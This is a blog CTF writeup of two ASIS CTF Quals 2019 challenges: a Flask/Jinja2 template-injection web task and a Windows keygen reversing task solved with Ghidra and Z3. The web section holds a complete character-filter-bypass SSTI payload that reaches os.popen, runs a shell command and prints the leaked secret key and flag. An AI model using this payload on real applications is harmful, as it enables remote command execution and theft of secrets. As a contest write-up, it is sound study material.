st98 の日記帳


[ctf] ASIS CTF Quals 2019 Quals Writeup

I participated in ASIS CTF Quals 2019 as Harekaze with Korean friends. We gained 848 points and got the 37th place out of 585 teams, and I solved two challenges and gained 1061 points.

[Web 63] Fort Knox

They say the Fort Knox is impenetrable, but as a friend of mine once said, give me ten brave men and I will conquer it!
Are you brave enough!
http://104.248.237.208:5000/

When we access the URL, the server shows us some links and a form.

2019-04-22_1.png

The link for the source code is also provided as HTML comment.

<!--Source Code: /static/archive/Source -->
from flask import Flask, session
from flask_session import Session
from flask import request
from flask import render_template
from jinja2 import Template

import fort

Flask.secret_key = fort.SECKEY

app = Flask(__name__)
app.config['SESSION_TYPE'] = 'filesystem'
app.config['TEMPLATES_AUTO_RELOAD'] = True
Session(app)

@app.route("/")
def main():
    return render_template("index.html")

@app.route("/ask", methods = ["POST"])
def ask():
    question = request.form["q"]
    for c in "._%":
        if c in question:
            return render_template("no.html", err = "no " + c)
    try:
        t = Template(question)
        t.globals = {}
        answer = t.render({
            "history": fort.history(),
            "credit": fort.credit(),
            "trustworthy": fort.trustworthy()
        })
    except:
        return render_template("no.html", err = "bad")
    return render_template("yes.html", answer = answer)

@app.route("/door/<door>")
def door(door):
    if fort.trustworthy():
        return render_template("flag.html", flag = fort.FLAG)
    doorNum = 0
    if door is not None:
        doorNum = int(door)
    if doorNum > 0 and doorNum < 7:
        fort.visit(doorNum)
        return render_template("door.html", door = doorNum)
    return render_template("no.html", err = "Door not found!")

Since request.form["q"] is passed to Template(), /ask looks vulnerable to Server-Side Template Injection (SSTI). However, it seems to be difficult to exploit because the server rejects if the user input contains any one of ._%.

So, how do we bypass these restrictions?

After reading through Jinja2 Documentation, I noticed that attr filter can be used for the alternative to access attributes of objects. For instance, ().__class__ can be replaced with ()|attr("\x5f\x5fclass\x5f\x5f").

Using these techniques, we can get the flag with {{((((()|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsubclasses\x5f\x5f"))()[59]|attr("\x5f\x5frepr\x5f\x5f")|attr("im\x5ffunc")|attr("func\x5fglobals"))["linecache"]|attr("os")|attr("popen"))("cat fort\x2epy")|attr("read"))()}}.

from flask import Flask, session

SECKEY = "some random key for signing 70657529378630738104827452603621"
FLAG = "ASIS{Kn0cK_knoCk_Wh0_i5_7h3re?_4nee_Ane3,VVh0?_aNee0neYouL1k3!}"
CORRECT_BEHAVIOUR = list(map(int, "34515465413625214253"))
PERFECT_CREDIT = sum([ x for x in range(len(CORRECT_BEHAVIOUR)) ])

def history():
    return session.get("history", [])

def visit(door):
    session["history"] = history() + [door]
    if len(session["history"]) > len(CORRECT_BEHAVIOUR):
        session["history"] = session["history"][-len(CORRECT_BEHAVIOUR):]

def credit():
    credit = 0
    hst = history()
    for i in range(len(hst)):
        for j in range(len(hst) - i):
            if hst[i + j] == CORRECT_BEHAVIOUR[j]:
                credit += j
            else:
                break
    return credit

def trustworthy():
    return credit() == PERFECT_CREDIT
ASIS{Kn0cK_knoCk_Wh0_i5_7h3re?_4nee_Ane3,VVh0?_aNee0neYouL1k3!}

[Reverse 93] Key maker

The Keymaker: Only the One can open the door. And only during that window can that door be opened.
Niobe: How do you know all this?
The Keymaker: I know because I must know. It is my purpose. It is the reason I am here. The same reason we are all here.
Attachments: key_maker.exe

We are given an x86_64 Windows binary. When we execute the binary, it asks for a license key and prints whether correct or not as below.

>key_maker.exe
KeyMaker is old, you are the one to help Neo!!
Please enter licence key: TEST
Sorry, given licence is invalid!

Using Ghidra, a tool for reverse-engineering that supports decompiling, disassembling, and so on, we can decompile the binary as below.

void FUN_00401530(int *a,int *b,int *c)

{
  int k;
  int j;
  int i;
  
  i = 0;
  while (i < 4) {
    j = 0;
    while (j < 4) {
      c[(longlong)i * 4 + (longlong)j] = 0;
      k = 0;
      while (k < 4) {
        c[(longlong)i * 4 + (longlong)j] =
             c[(longlong)i * 4 + (longlong)j] +
             j + a[(longlong)i * 4 + (longlong)k] * b[(longlong)k * 4 + (longlong)j] + i;
        k = k + 1;
      }
      j = j + 1;
    }
    i = i + 1;
  }
  return;
}

int check_key(char *user_input)

{
  int iVar1;
  long c_on_base_36;
  long lVar2;
  int return_value;
  uint uVar3;
  int result_f [16];
  int result_e [16];
  int result_d [16];
  int result_c [16];
  int result_b [16];
  int result_a [16];
  int third_part [16];
  int second_part [16];
  int first_part [16];
  char c;
  char local_38;
  undefined local_37;
  char local_28;
  undefined local_27;
  char local_23;
  char local_22;
  char local_21;
  int j;
  int i;

  if (((user_input[0x10] == user_input[0x21]) && (user_input[0x10] == '_')) &&
     ((int)user_input[0x31] * (int)user_input[4] == 0x3c0f)) {
    i = 0;
    while (i < 0x10) {
      c = user_input[(longlong)i];
      if (((c < '0') || ('Z' < c)) && (i != 4)) {
        return 0;
      }
      iVar1 = i;
      if (i < 0) {
        iVar1 = i + 3;
      }
      uVar3 = (uint)(i >> 0x1f) >> 0x1e;
      local_21 = c;
      lVar2 = strtol(&c,(char **)0x0,0x24);
      first_part[(longlong)(int)((i + uVar3 & 3) - uVar3) + (longlong)(iVar1 >> 2) * 4] = lVar2;
      i = i + 1;
    }
    i = 0;
    while (i < 0x10) {
      local_38 = user_input[(longlong)(i + 0x11)];
      if ((local_38 < '0') || ('Z' < local_38)) {
        return 0;
      }
      iVar1 = i;
      if (i < 0) {
        iVar1 = i + 3;
      }
      uVar3 = (uint)(i >> 0x1f) >> 0x1e;
      local_37 = 0;
      local_22 = local_38;
      c_on_base_36 = strtol(&local_38,(char **)0x0,0x24);
      second_part[(longlong)(int)((i + uVar3 & 3) - uVar3) + (longlong)(iVar1 >> 2) * 4] =
           c_on_base_36;
      i = i + 1;
    }
    i = 0;
    while (i < 0x10) {
      local_28 = user_input[(longlong)(i + 0x22)];
      if (((local_28 < '0') || ('Z' < local_28)) && (i != 0xf)) {
        return 0;
      }
      iVar1 = i;
      if (i < 0) {
        iVar1 = i + 3;
      }
      uVar3 = (uint)(i >> 0x1f) >> 0x1e;
      local_27 = 0;
      local_23 = local_28;
      lVar2 = strtol(&local_28,(char **)0x0,0x24);
      third_part[(longlong)(int)((i + uVar3 & 3) - uVar3) + (longlong)(iVar1 >> 2) * 4] = lVar2;
      i = i + 1;
    }
    FUN_00401530(first_part,second_part,result_a);
    FUN_00401530(second_part,first_part,result_b);
    FUN_00401530(second_part,third_part,result_c);
    FUN_00401530(third_part,second_part,result_d);
    FUN_00401530(third_part,first_part,result_e);
    FUN_00401530(first_part,third_part,result_f);
    i = 0;
    while (i < 4) {
      j = 0;
      while (j < 4) {
        if (result_a[(longlong)j + (longlong)i * 4] !=
            *(int *)(&DAT_00404040 + ((longlong)j + (longlong)i * 4) * 4)) {
          return 0;
        }
        if (result_b[(longlong)j + (longlong)i * 4] !=
            *(int *)(&DAT_00404080 + ((longlong)j + (longlong)i * 4) * 4)) {
          return 0;
        }
        if (result_c[(longlong)j + (longlong)i * 4] !=
            *(int *)(&DAT_004040c0 + ((longlong)j + (longlong)i * 4) * 4)) {
          return 0;
        }
        if (result_d[(longlong)j + (longlong)i * 4] !=
            *(int *)(&DAT_00404100 + ((longlong)j + (longlong)i * 4) * 4)) {
          return 0;
        }
        if (result_e[(longlong)j + (longlong)i * 4] !=
            *(int *)(&DAT_00404140 + ((longlong)j + (longlong)i * 4) * 4)) {
          return 0;
        }
        if (result_f[(longlong)j + (longlong)i * 4] !=
            *(int *)(&DAT_00404180 + ((longlong)j + (longlong)i * 4) * 4)) {
          return 0;
        }
        j = j + 1;
      }
      i = i + 1;
    }
    return_value = 1;
  }
  else {
    return_value = 0;
  }
  return return_value;
}

Some variables and functions are renamed for ease of understanding. Let’s take a look at the decompiled code.

  if (((user_input[0x10] == user_input[0x21]) && (user_input[0x10] == '_')) &&
     ((int)user_input[0x31] * (int)user_input[4] == 0x3c0f)) {

This implies that user_input[0x10] and user_input[0x21] are both _. Since the flag format is ASIS{…}, we can guess that user_input[4] is {, and user_input[0x31] is } (ord('{') * ord('}') == 0x3c0f).

    i = 0;
    while (i < 0x10) {
      c = user_input[(longlong)i];
      if (((c < '0') || ('Z' < c)) && (i != 4)) {
        return 0;
      }
      iVar1 = i;
      if (i < 0) {
        iVar1 = i + 3;
      }
      uVar3 = (uint)(i >> 0x1f) >> 0x1e;
      local_21 = c;
      lVar2 = strtol(&c,(char **)0x0,0x24);
      first_part[(longlong)(int)((i + uVar3 & 3) - uVar3) + (longlong)(iVar1 >> 2) * 4] = lVar2;
      i = i + 1;
    }

Characters must be between 0 and Z except for the fifth character. After checking the characters, the program converts them to integers as base-36 character by character.

This procedure repeats three times to process the entire user input.

void FUN_00401530(int *a,int *b,int *c)

{
  int k;
  int j;
  int i;
  
  i = 0;
  while (i < 4) {
    j = 0;
    while (j < 4) {
      c[(longlong)i * 4 + (longlong)j] = 0;
      k = 0;
      while (k < 4) {
        c[(longlong)i * 4 + (longlong)j] =
             c[(longlong)i * 4 + (longlong)j] +
             j + a[(longlong)i * 4 + (longlong)k] * b[(longlong)k * 4 + (longlong)j] + i;
        k = k + 1;
      }
      j = j + 1;
    }
    i = i + 1;
  }
  return;
}
    FUN_00401530(first_part,second_part,result_a);
    FUN_00401530(second_part,first_part,result_b);
    FUN_00401530(second_part,third_part,result_c);
    FUN_00401530(third_part,second_part,result_d);
    FUN_00401530(third_part,first_part,result_e);
    FUN_00401530(first_part,third_part,result_f);

The program multiplies converted user input each other and stores the results in arrays.

    i = 0;
    while (i < 4) {
      j = 0;
      while (j < 4) {
        if (result_a[(longlong)j + (longlong)i * 4] !=
            *(int *)(&DAT_00404040 + ((longlong)j + (longlong)i * 4) * 4)) {
          return 0;
        }
        if (result_b[(longlong)j + (longlong)i * 4] !=
            *(int *)(&DAT_00404080 + ((longlong)j + (longlong)i * 4) * 4)) {
          return 0;
        }
        if (result_c[(longlong)j + (longlong)i * 4] !=
            *(int *)(&DAT_004040c0 + ((longlong)j + (longlong)i * 4) * 4)) {
          return 0;
        }
        if (result_d[(longlong)j + (longlong)i * 4] !=
            *(int *)(&DAT_00404100 + ((longlong)j + (longlong)i * 4) * 4)) {
          return 0;
        }
        if (result_e[(longlong)j + (longlong)i * 4] !=
            *(int *)(&DAT_00404140 + ((longlong)j + (longlong)i * 4) * 4)) {
          return 0;
        }
        if (result_f[(longlong)j + (longlong)i * 4] !=
            *(int *)(&DAT_00404180 + ((longlong)j + (longlong)i * 4) * 4)) {
          return 0;
        }
        j = j + 1;
      }
      i = i + 1;
    }
    return_value = 1;
  }
  else {
    return_value = 0;
  }
  return return_value;

Finally, the program compares the matrix products with arrays embedded in the binary.

So, how can we recover the flag? One idea I thought was using Z3, an SMT solver. Let’s write a solver using Z3.

import string
import struct
from z3 import *

def fun_00401530(a, b, c):
  for i in range(4):
    for j in range(4):
      c[i * 4 + j] = 0
      for k in range(4):
        c[i * 4 + j] += a[i * 4 + k] * b[k * 4 + j] + i + j

table = string.digits + string.ascii_uppercase
def parse_int(x):
  return int(x, 36) if x in table else 0

if __name__ == '__main__':
  encrypted = []
  with open('key_maker.exe', 'rb') as f:
    f.seek(0x2840)
    for _ in range(6):
      encrypted.append(struct.unpack('<' + 'I' * 16, f.read(4 * 16)))

  user_input = [Int('flag_%d' % x) for x in range(50)]

  solver = Solver()
  for c in user_input:
    solver.add(0 <= c, c < 36)
  for i, c in enumerate('ASIS{'):
    solver.add(user_input[i] == parse_int(c))
  solver.add(user_input[0x10] == 0)
  solver.add(user_input[0x21] == 0)
  solver.add(user_input[0x31] == 0)

  first_part = user_input[:0x10]
  second_part = user_input[0x11:0x11+0x10]
  third_part = user_input[0x22:0x22+0x10]

  results = [[0] * 16, [0] * 16, [0] * 16, [0] * 16, [0] * 16, [0] * 16]
  fun_00401530(first_part, second_part, results[0])
  fun_00401530(second_part, first_part, results[1])
  fun_00401530(second_part, third_part, results[2])
  fun_00401530(third_part, second_part, results[3])
  fun_00401530(third_part, first_part, results[4])
  fun_00401530(first_part, third_part, results[5])

  for i in range(4):
    for j in range(4):
      solver.add(results[0][i * 4 + j] == encrypted[0][i * 4 + j])
      solver.add(results[1][i * 4 + j] == encrypted[1][i * 4 + j])
      solver.add(results[2][i * 4 + j] == encrypted[2][i * 4 + j])
      solver.add(results[3][i * 4 + j] == encrypted[3][i * 4 + j])
      solver.add(results[4][i * 4 + j] == encrypted[4][i * 4 + j])
      solver.add(results[5][i * 4 + j] == encrypted[5][i * 4 + j])

  r = solver.check()
  if r == sat:
    m = solver.model()
    flag = ''
    for c in user_input:
      c = m[c].as_long()
      flag += table[c] if c != 0 else '?'
    print(flag)
  else:
    print('unsat :(')

Let’s execute it.

$ python solve.py
ASIS?7H3M47R1XXX?TR1NI7YANDNEO?O??K3YM4K3ROR4CLE3?

I was stuck here as I couldn’t guess the rest of the characters represented as ?, however, Safflower-san solved this!

ASIS{7H3M47R1XXX_TR1NI7YANDNEO0O0_K3YM4K3ROR4CLE3}
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳